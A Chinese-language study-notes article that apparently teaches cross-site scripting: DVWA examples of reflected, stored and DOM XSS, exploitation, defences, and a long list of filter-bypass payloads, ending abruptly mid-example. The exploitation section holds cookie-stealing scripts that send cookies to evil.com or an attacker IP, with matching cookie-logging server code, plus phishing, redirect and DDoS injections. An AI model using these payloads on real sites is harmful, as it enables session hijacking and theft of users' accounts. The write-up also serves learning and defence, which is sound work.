一篇文章深入学习XSS漏洞

0x00 前言

XSS漏洞可以追溯到1990年代,在2010年Web安全威胁前10位中,XSS排名第二,仅次于Injection

本学习笔记,大量参考自网络上各位大佬总结好的,再加上自己的心得总结而成,用途仅用于安全技术学习.文末注明参考资料,侵删.

0x01 基础知识

基础知识的补充主要是JavaScript这部分的,弹窗不只是有alert还有prompt,confirm,当然弹窗只是用来测试XSS的,真正是XSS攻击,弹窗是毫无意义的,常常我们会加载第三方域的脚本资源,然后诱使目标用户点击链接

javascript能做的事,XSS payload都能做.举个简单的例子

1
<script src="http://wwww.evil.com/xss.js"></script>

这段代码执行的是www.evil.com下的xss.js脚本.如果不是本域了,而浏览器并没有按照同源策略进行,那么可以叫做跨域脚本

那么什么是同源策略?

所谓同源是指,域名,协议,端口相同

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。(百度百科)

同源策略是浏览器的行为,是为了保护本地数据不被JavaScript代码获取回来的数据污染,因此拦截的是客户端发出的请求回来的数据接收,即请求发送了,服务器响应了,但是无法被浏览器接收。

在浏览器中,script img iframe link等标签都可以跨域加载资源,而不受同源策略的限制.

JavaScript伪协议

javascript伪协议所有浏览器都支持,不过有些差异

伪协议是为关联应用程序而使用的,JavaScript伪协议实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

data:协议(Data URI Scheme)

data:协议仅IE浏览器不支持

data URI scheme 允许我们使用内联(inline-code)的方式在网页中包含数据,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。常用于将图片嵌入网页。

Data URI Scheme支持的类型有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
data:,<文本数据> 

data:text/plain,<文本数据>

data:text/html,<HTML代码>

data:text/html;base64,<base64编码的HTML代码>

data:text/css,<CSS代码>

data:text/css;base64,<base64编码的CSS代码>

data:text/javascript,<Javascript代码>

data:text/javascript;base64,<base64编码的Javascript代码>

data:image/gif;base64,base64编码的gif图片数据

data:image/png;base64,base64编码的png图片数据

data:image/jpeg;base64,base64编码的jpeg图片数据

data:image/x-icon;base64,base64编码的icon图片数据

文档对象模型(DOM)

DOM,是一种与平台和语言无关的应用程序接口(API).将 web 页面与到脚本或编程语言连接起来。通常是指 JavaScript,但将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 语言的一部分。DOM模型用一个逻辑树来表示一个文档,树的每个分支的终点都是一个节点(node),每个节点都包含着对象(objects)。DOM的方法(methods)让你可以用特定方式操作这个树,用这些方法你可以改变文档的结构、样式或者内容。节点可以关联上事件处理器,一旦某一事件被触发了,那些事件处理器就会被执行。

一些相关的HTML知识

更多的在这里学习,复习 HTML DOM 事件 ,下面只列举一些比较常见的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
onclick,用户点击某个对象时调用的事件句柄

onerror,在加载文档或者图像时发生错误调用

onload,一张页面或已付图像完成加载

onunload,用户退出页面

onblur 元素失去焦点触发

onfocus 元素获取焦点时触发

document.cookie 设置或返回与当前文档有关的所有cookie

document.baseURI 返回文档的绝对基础URI

document.getElementById()返回拥有指定id的第一个对象的引用

document.write()向文档写HTML表达式或JavaScript代码

所有的Event都是可以执行JS

1
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

可以执行JS的标签

1
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>

可以执行JS的属性

1
formaction action href xlink:href autofocus src content data

HTML与javascript自解码机制

举个例子,用户输入在HTML中

1
<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(123)/>')"/>

假设document.write里的值是用户可控的输入,点击后,document.wirte出现一段img HTML,onerror里的JS会执行

来看一段HtmlEncode

1
2
3
4
5
6
7
8
9
10
11
12
<script>
function HtmlEncode(Str){
var s = ""
if(str.length == 0) return "";
s = s.replace(/&/g,"&");
s = s.replace(/</g,"<");
s = s.replace(/>/g,">");
s = s.replace(/\"/g,""");
return s;
}
</script>
<input type="button" id="exec_btn" value="exec" onclick="document.write(HtmlEncode('<img src=@ onerror=alert(123)/>'))"/>

这里

1
HtmlEncode('<img src=@ onerror=alert(123)/>')后的结果为 &it;img src=@ onerror=alert(123) />

然后点击之后就不会弹出123了

再看这个

1
<input type="button" id="exec_btn" value="exec" onclick="doucument.write('<img src=@ onerror=alert(123) /&gt')" />

点击这个就会弹出123了,这就是因为HTML自解码机制

onclick里的这段js代码出现在了HTML标签内,说明了这里的JS代码可以进行HTML形式的编码

这种编码方式有两种

  • 进制编码:&#xH;(十六进制格式),&#D;(十进制格式),最后的分号(;)可以不要
  • HTML实体编码

在JS代码执行之前,HTML形式的解码会自动解码

用户输入在script中

1
2
3
4
5
6
7
8
<input type="button" id="exec_btn" value="exec" />
<script>
function $(id){return document.getElementById(id);};
$('exec_btn').onclick = function(){
document.write('<img src=@ onerror=alert(123) />');
//document.write('&it;img src=@ onerror=alert(123) />');
};
</script>

这样是可以执行弹窗的,如果输入的是注释中内容,这段HTML代码不会自解码,是因为用户输入的这段内容上下文环境是javascript,不是HTML(script标签里的内容与HTML环境无关),此时用户输入的内容要遵循javascript法则,即js编码

  • Unicode形式, \uH(十六进制)

  • 普通十六进制, \xH

  • 纯转义

    1
    \',\",/>,\< 这种在特殊字符前加\进行转义

具备HtmlEncode功能的标签

1
2
3
4
5
6
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp></xmp>
<plaintext></plaintext>

更多JavaScript的知识以后再补充

0x02 什么是XSS

XSS简介

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

XSS分类

反射型XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗

反射型XSS输入点在URL上,什么是URL?看下面这张图就行了

代码举例(DVWA Low)

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

可以看到,echo语句中,直接将GET到的参数name的值输出,并没有进行过滤,简单的输入name为这段JS代码

1
<script>alert('xss')</script>

就会弹出窗口,内容为xss.这也是最简单的XSS测试语句

存储型XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

甚至还可能出现在注册和修改密码中,比如极客大挑战就出了这种题

代码举例(DVWA Low)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );//去除空格

// Sanitize message input
$message = stripslashes( $message );//添加反斜杠
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escapemysqli_real_escape_string_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //mysqli_real_escape_string转义特殊字符

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//将输入的message和name插入进入数据库
//mysql_close();
}

?>

可以看到,SQL语句仅仅做了一些简单的去除空格,删除,添加反斜杠,转义一些字符,并没有做太多对XSS的过滤,然后就把用户输入的内容插入到数据库,如果插入了一段恶意代码,就可能会导致XSS漏洞

在message处,输入

1
<script>alert('xss')<script>

就会弹窗,说明存在XSS,并且来回切换后,只要进入这个界面都会弹窗,说明是存储型XSS.

DOM型XSS

DOM Based XSS simply means a Cross-site scripting vulnerability that appears in the DOM (Document Object Model) instead of part of the HTML. In reflective and stored Cross-site scripting attacks you can see the vulnerability payload in the response page but in DOM based cross-site scripting, the HTML source code and response of the attack will be exactly the same, i.e. the payload cannot be found in the response. It can only be observed on runtime or by investigating the DOM of the page.

One of the biggest differences between DOM Based XSS and Reflected or Stored XSS vulnerabilities is that DOM Based XSS cannot be stopped by server-side filters. The reason is quite simple; anything written after the “#” (hash) will never be sent to the server.

As a matter of fact, any other type of web protections such as web application firewalls, or generic framework protections like ASP.NET Request Validation will not protect you against DOM Based XSS attacks.

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

比较容易出现DOM XSS的DOM资源

  • document.URL

  • document.documentURI

  • location.href

  • location.search

  • location.*

  • window.name

  • document.referrer

  • HTML Modification sinks

    • document.write
    • (element).innerHTML
  • HTML modification to behaviour change

    • (element).src (in certain elements)
  • Execution Related sinks

    • eval
    • setTimout / setInterval
    • execScript

    代码举例(DVWA Low)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <form name="XSS" method="GET">
    <select name="default">
    <script>
    if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
    }

    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
    </script>
    </select>

    代码中说到没有做任何的保护措施,那么直接在URL中输入如下

1
?default=<script>alert('xss')</script>

成功弹窗

再来一个例子

1
2
3
<script>
document.write("<b>Current URL</b> : " + document.baseURI);
</script>

如果发送一个HTTP请求,

1
http://www.example.com/test.html#<script>alert('xss')</script>

成功弹窗,因为上面那个JS代码会将我们在URL中输入的任何内容写入(document.write),然后在右键查看源码中却看不到我们的payload,那就说明是DOM XSS.

实际上,除了构造一个新事件外,还可以选择闭合掉a标签,并插入一个新的HTML标签

1
'><img src=# onerror=alert('xss') /><'

实际页面代码变成了

1
<a href=''><img src=# onerror=alert('xss') /><''>testLink</a>

Flash XSS

这个一般很难出现,但是也确实存在.在Flash中是可以嵌入ActionScript脚本的.一个最常见的Flash XSS可以这样写

getURL("javascript:alert(document.cookie)")

将Flash 嵌入页面中:

1
2
3
4
5
6
7
<embed src="http://host/evil.swf"
pluginspage="http://wwww.abc.com/test/download/index.cgi?P1_Prod_Version=ShockwaveFlash"
type="application/x-shockwave-flash"
width="0"
height="0"
>
</embed>

限制Flash动态脚本的最重要的参数是”allowScriptAccess”,这个参数定义了Flash能否与HTML页面进行通信.

0x03 XSS利用

刚刚在上面已经提到过了,XSS最常利用的cookie窃取,钓鱼等.

Cookies 窃取

1
2
3
4
5
6
<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script>
或者
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

1
2
3
4
5
6
7
8
9
<%
msg=Request.ServerVariables("QUERY_STRING")
testfile=Server.MapPath("cookie.txt")
set fs=server.CreateObject("Scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.Writeline(""&msg& "")
thisfile.close
set fs=nothing
%>
1
2
3
4
5
6
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
1
<script>var img=document.createElement("img");img.src="http://192.168.118.138:1234/a?"+escape(document.cookie);</script>

然后在kali的nc监听端口1234

nc -nvlp 1234

1
http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>var img=document.createElement("img");img.src="http://192.168.118.138:1234/a?"+escape(document.cookie);</script>

然后就会在kali上接收到数据包

成功窃取cookie之后,攻击者只需要在本地修改cookie为受害者的cookie即可登录对方账号.

会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

钓鱼

  • 重定向钓鱼
1
http://www.example.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
  • HTML注入钓鱼

使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。

1
http://www.example.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>
  • iframe钓鱼

这种方式是通过

1
<iframe>

标签嵌入远程域的一个页面实施钓鱼。

1
http://www.example.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
  • Flash钓鱼

将构造好的恶意flash文件传入服务器,在目标网站用<object或embed>标签进行引用

  • 高级钓鱼技术

注入代码劫持表单,用JS编写键盘记录等.

网页挂马

什么是挂马?在网页中插入一段恶意代码,利用浏览器漏洞执行任意代码的攻击方式,在黑客圈子里形象的称为”挂马”

一般通过篡改网页来实现,如在XSS中使用

1
<iframe>

标签

识别用户浏览器

1
<script>alert(navigator.userAgent)</script>

DOS 与 DDOS

  • Dos

代码举例(by Incapsula)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// JavaScript Injection in <img> tag enabled by Persistent XSS
<img src="/imagename.jpg"
onload="$.getScript('http://c&cdomain.com/index.html')" />

// Malicious JavaScript opens hidden <iframe>
function ddos(url) {
$("body").append("<iframe id='ifr11323' style='display:none;'
src='http://c&cdomain.com/index.html'></iframe>");
}

// Ajax DDoS tool in executes GET request every second
<html><body>
<h1>Iframe</h1>
<script>
ddos('http://www.target1.com/1.jpg',
'http://www.target2.com/1.jpg');
function ddos(url,url2){
window.setInterval(function (){
$.getScript(url);
$.getScript(url2);
},1000)
}
</script>
</body></html>

将恶意的代码注入到存在存储型XSS的网站上,如果网站的用户数量足够大,造成DOS攻击的概率也就越大

  • DDos

引用一篇Freebuf上的文章图片及部分内容

DDos攻击的成因是因为,攻击者可以在用户的自定义头像中插入恶意的javascript代码。所以当合法的用户访问这些存在漏洞的页面时(这些页面包含了攻击者的评论,评论中包含头像),攻击者藏在头像中的恶意javascript代码就会被执行,这段代码向用户浏览器中插入一个隐藏的iframe,其地址指向DDos攻击者的C&C服务器。

XSS 蠕虫

在中国,比较出名的XSS蠕虫,肯定会说新浪微博事件和百度贴吧事件.历史上第一个XSS蠕虫出现在2005年10月4日的Samy蠕虫.

XSS蠕虫是一种借助Ajax技术实现对Web应用程序中存在的XSS漏洞进行自动化利用传播的蠕虫病毒,它可以将一些用户数据信息发送给Web应用程序然后再将自身代码传递进入Web应用程序,等到被感染用户访问Web应用程序时,蠕虫自身将又开始进行数据发送感染。

Self-XSS

这里放一篇文章就好了……这个利用有点难,但是在一些CTF比赛中确实出现过,等遇见了再详细写一篇文章分析

XSS Tricks - 从 SelfXSS 到登录你的账户

Self-XSS 顾名思义,就是一个具有 XSS 漏洞的点只能由攻击者本身触发,即自己打自己的攻击。比如个人隐私的输入点存在 XSS。但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。这类漏洞通常危害很小,显得有些鸡肋。但是在一些具体的场景下,结合其他漏洞(比如 CSRF )就能将 Self-XSS 转变为具有危害的漏洞。下面将总结一些常见可利用 Self-XSS 的场景。

  • 登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录

这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作:

  1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload
  2. JavaScript Payload 生成 `` 标签,并在框架内执行以下这些操作
  3. 让受害者登出攻击者的账号
  4. 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面
  5. 攻击者从页面提取 CSRF Token
  6. 然后可以使用 CSRF Token 提交修改用户的个人信息

这种攻击流程需要注意几个地方:第三步登录是不需要用户交互的,利用 Google Sign In 等非密码登录方式登录;X-Frame-Options 需要被设置为同源(该页面可以在相同域名页面的 iframe 中展示 )

  • 登录存在 CSRF,账户信息存在 Self-XSS,OAUTH 认证
  • 让用户退出账户页面,但是不退出 OAUTH 的授权页面,这是为了保证用户能重新登录其账户页面
  • 让用户登录我们的账户页面出现 XSS,利用 使用 `` 标签等执行恶意代码
  • 登录回他们各自的账户,但是我们的 XSS 已经窃取到 Session

0x04 XSS防御

XSS攻击的两大要素就是

  • 攻击者提交恶意代码
  • 浏览器客户端执行恶意代码

从XSS漏洞的成因就可以知道该怎么防御了,那就是不要太相信User的输入内容, 在一些关键位置可以禁用用户输入功能,在一些必须要用户输入的地方,可以使用相关函数来进行转义等操作来避免XSS攻击,下面来详细讲一讲

转义

  • 使用escapeHTML()函数进行转义一些语法特殊符号,使恶意代码不能正常解析(比如反斜杠,使恶意代码不能闭合)
  • htmlspecialchars()函数将<>转换为HTML实体
  • 对于链接跳转,如 <a href=”xxx” 或 location.href=”xxx”,要检验其中的内容,禁止以javascript: 开头的链接
  • 使用escapeEmbedJSON()函数,对内联JSON进行转义
  • 使用业界成熟通用的转义库

防御反射型和存储型XSS攻击

  • 改成纯前端渲染,将**代码与数据分离**
  • 对HTML做充分转义

纯前端渲染的过程,浏览器先加载一个静态的HTML,该HTML中不包含任何跟业务相关的数据,然后浏览器执行HTML中的JS代码,JS通过Ajax加载业务数据,调用DOM API更新到页面上

防御DOM型XSS攻击

在使用.innerHTML outerHTML document.wirte()时要额外小心,不把不可信的数据作为HTML插入到页面上,而应该尽量使用.textContent .setAttribute()等

DOM中内联事件的监听器,如location onclick onerror onload onmouseover等 a标签的href属性 ,JS的eval(),setTimeout(),setInterval()等,都能把字符串作为代码运行

使用这些时,容易产生安全隐患

举个例子

1
2
3
4
<script>
var x="$var";
document.write("<a href='"+x+"' >test</a>");
</script>

当”$var”输出到script时,应该执行一次javascriptEncode;在document.write输出到HTML页面时,要具体情况具体对待,如果是输出到事件或者脚本,则要再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要要一次HtmlEncode;

使用Content-Security-Policy(CSP,内容安全策略)

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现 XSS,利于尽快修复问题。

对输入的内容长度进行限制

这种措施,虽然不能完全防御XSS,但是能够增加XSS的难度

HTTP-only Cookie

禁止JavaScript读取某些敏感cookie,攻击者完成XSS后也无法窃取到cookie

验证码

防止脚本冒充用户提交危险操作,虽然有些简单的验证码方式现在也有技术能够绕过,但是也能够增加XSS的难度

启用白名单或者黑名单,并且应该避免使用黑名单

几种输出的防御

在HTML标签中/属性中输出,防御的方法是采用HtmlEncode

1
2
3
4
<div>$var</div>
<a href=# >$var</a>
在属性中输出
<div id="abc" name="$var"></div>

攻击方法

1
<div id="abc" name=""><script>alert('xss')</script><""></dvi>

在script标签中输出,在这种script标签中输出时,首先应该确保输出的变量在引号中

1
2
3
<script>
var x = "";alert("xss");//";
</script>

攻击者需要先闭合引号才能实施XSS攻击

1
2
3
<script>
var x = "";alert(/xss/);//";
</script>

防御时使用javascriptEncode

在事件中输出

在事件中输出和在script标签中输出类似

1
<a href=# onclick="funcA('$var')">test</a>

可能的攻击方法

1
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>

防御时,使用javascriptEncode

0x05 XSS检测

  • 使用XSS语句手动检测
  • 使用扫描工具自动检测XSS漏洞

0x06 XSS绕过

  • 大小写绕过

  • 编码绕过

  • 自定义标签绕过,

    1
    <M/onclick="alert(1)">M
  • JSfuck绕过

  • 使用多种能够触发执行javascript的标签来进行测试(有超过150中的方式来执行javascript代码的事件测试一个很少见的事件)

1
<body/onhashchange=alert('xss')><a href=#>clickit
  • 猥琐流代码

我上面也只是一些思路(短短几个中文汉字是没法绕过的,知识如果遇见了就往上面的绕过方法想),下面的内容也就是上面的思路的实际例子

初步测试

/反斜杠可以用来代替空格

//为javascript的注释符,如果//被过滤,还可以使用逻辑与算术运算符来代替

1)先尝试插入正常的HTML标签,比如b,i,u这些来观察返回页面的情况是怎么样的,是否被HTML实体编码了,或者标签被过滤了

2)尝试插入不闭合的标签,比如<b,<i,<u,<marquee,<script然后看一下返回情况,是不是对开放的标签页有过滤

3)然后测试几个payload,

1
2
3
4
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scriptsrc="http://rhainfosec.com/evil.js">

看返回情况,是过滤了全部,还是只过滤了一部分,是否留下了alert,prompt,confirm等字符,然后再尝试大小写绕过

1
<scRipt>alert('xss')</scrIPT>

4)如果仅仅是把

1
<script>和</script>

标签过滤,可以用下面这种方式来绕过

1
<scr<script>ipt>alert('xss')</scr<script>ipt>

5)使用<a href标签进行测试,看返回的情况

1
<a href="http://www.baidu.com">Baidu</a>

观察<a标签是否被过滤,href是否被过滤 href里的数据是否被过滤

如果没有数据被过滤,可以使用javascript伪协议进行测试

1
<a href="javascript:alert('xss')">Baidu</a>

观察返回情况,是否返回错误,还是JavaScript伪协议中的整个内容都被过滤了还是只过滤了javascript字符,如果是的话,可以尝试大小写转换,编码转换

继续测试事件触发执行javascript

1
<a herf="baidu.com" onmouseover=alert('xss')>Baidu</a>

看onmouseover事件是否被过滤,测试一个无效的事件,看过滤规则

1
<a herf="baidu.com" onclimbatree=alert('xss')>无效的事件</a>

观察是完整的返回了还是和onmouseover一样被过滤了

测试其他标签

src属性

1
2
3
4
<img src="xxx.xxx.xxx" onerror=alert('xss');>
<img/src=pig.jpg onerror=alert("xss");>
<video src=a onerror=prompt('xss');>
<audio src=x onerror=prompt('xss');>

iframe标签

1
<iframe src="javascript:alert('xss')">
1
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">"

embed标签

1
<embed/src=//goo.gl/nlXOP>

action属性

利用<form,<isindex 等标签中的action属性执行javascript

1
2
3
4
5
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
<formaction='data:text&sol;html,<script>alert(1)&lt/script&gt'><button>CLICK

formaction属性

1
2
3
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript&colon;alert(1)>CLICKME

background属性

1
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效

poster属性

1
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效

data属性

1
2
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?

code属性

1
2
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

事件触发

1
2
3
4
5
6
7
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">

最短的测试向量

1
2
<q/oncut=open()>
<q/oncut=alert(1)>//在限制长度的地方很有效

嵌套

1
2
3
4
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsonload=alert-1//IE8有效
<command onmouseover
="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效

过滤括号的情况下

当括号被过滤的时候可以使用throw来绕过

1
2
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:

1
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>

expression属性

1
2
3
<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下

location属性

1
2
<a onmouseover=location='javascript:alert(1)'>click
<body onfocus="loaction='javascript:alert(1)'">123

其他的一些payload

1
2
3
4
5
6
7
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg>
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click

当= ( ) ; :被过滤时

1
<svg><script>alert&#40/1/&#41</script> // 通杀所有浏览器

绕过长度限制

假设存在XSS漏洞的代码为

1
<input type=text value="$var" />

下面的payload均为$var的值

绕过方式1)

1
2
3
"><script>alert('xss')</script>
希望达到的输出效果为
<input type=text value=""><script>alert("xss")</script>" />

绕过方式2)

如果限制输入长度为20

利用事件(Event)来缩短所需要的字节数

1
"onclick=alert(1)//

加上空格符,刚好够20个字节,实际输出为

1
<input type=text value="" onclick=alert(1)//"/>

绕过方式3)

将XSS payload 写在别的地方,再同过简短的代码来加载XSS payload.最常用的就是”location.hash” 而且根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,更好的隐藏了攻击者的意图.

1
" onclick="eval(location.hash.substr(1))"

输出后的HTML是

1
<input type="text" value="" onclick="eval(location.hash.substr(1))" />

因为location.hash的第一个字符是#,所以必须去除第一个字符才行.

故URL为 http://www.test.com/test.html#alert(1) ,当用户点击文本框时,location.hash里面的代码被执行

绕过方式4)

在某些情况下,可以利用注释符绕过长度限制

比如有两个文本框,第一个文本框有限制,而第二个限制的并不是很多的情况就可以用注释绕过

1
第一个input框中,输入 "><!-- 在第二个input框中输入 --><script>alert('xss');</script>

最终的效果

1
<input id=1 type type="text" value=""><!--" /> xxxx <input id=2 type="text" value="--><script>alert('xss');</script>" />

中间的代码全部被注释掉

XSS过滤并不智能

如用户输入1+1<3, 如果直接把<过滤了,就有违背用户.因此应该看具体情况具体对待

浏览器Bug

字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。

1
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS

这个页面当中我们可控当前页面的字符集,当我们常规的测试时:

1
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>

返回结果可以看到双引号被编码了:

1
2
3
4
5
6
<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value=""><img src=x onerror=prompt(0);>"></input>
</body>
</html>

设置字符集为UTF-32

1
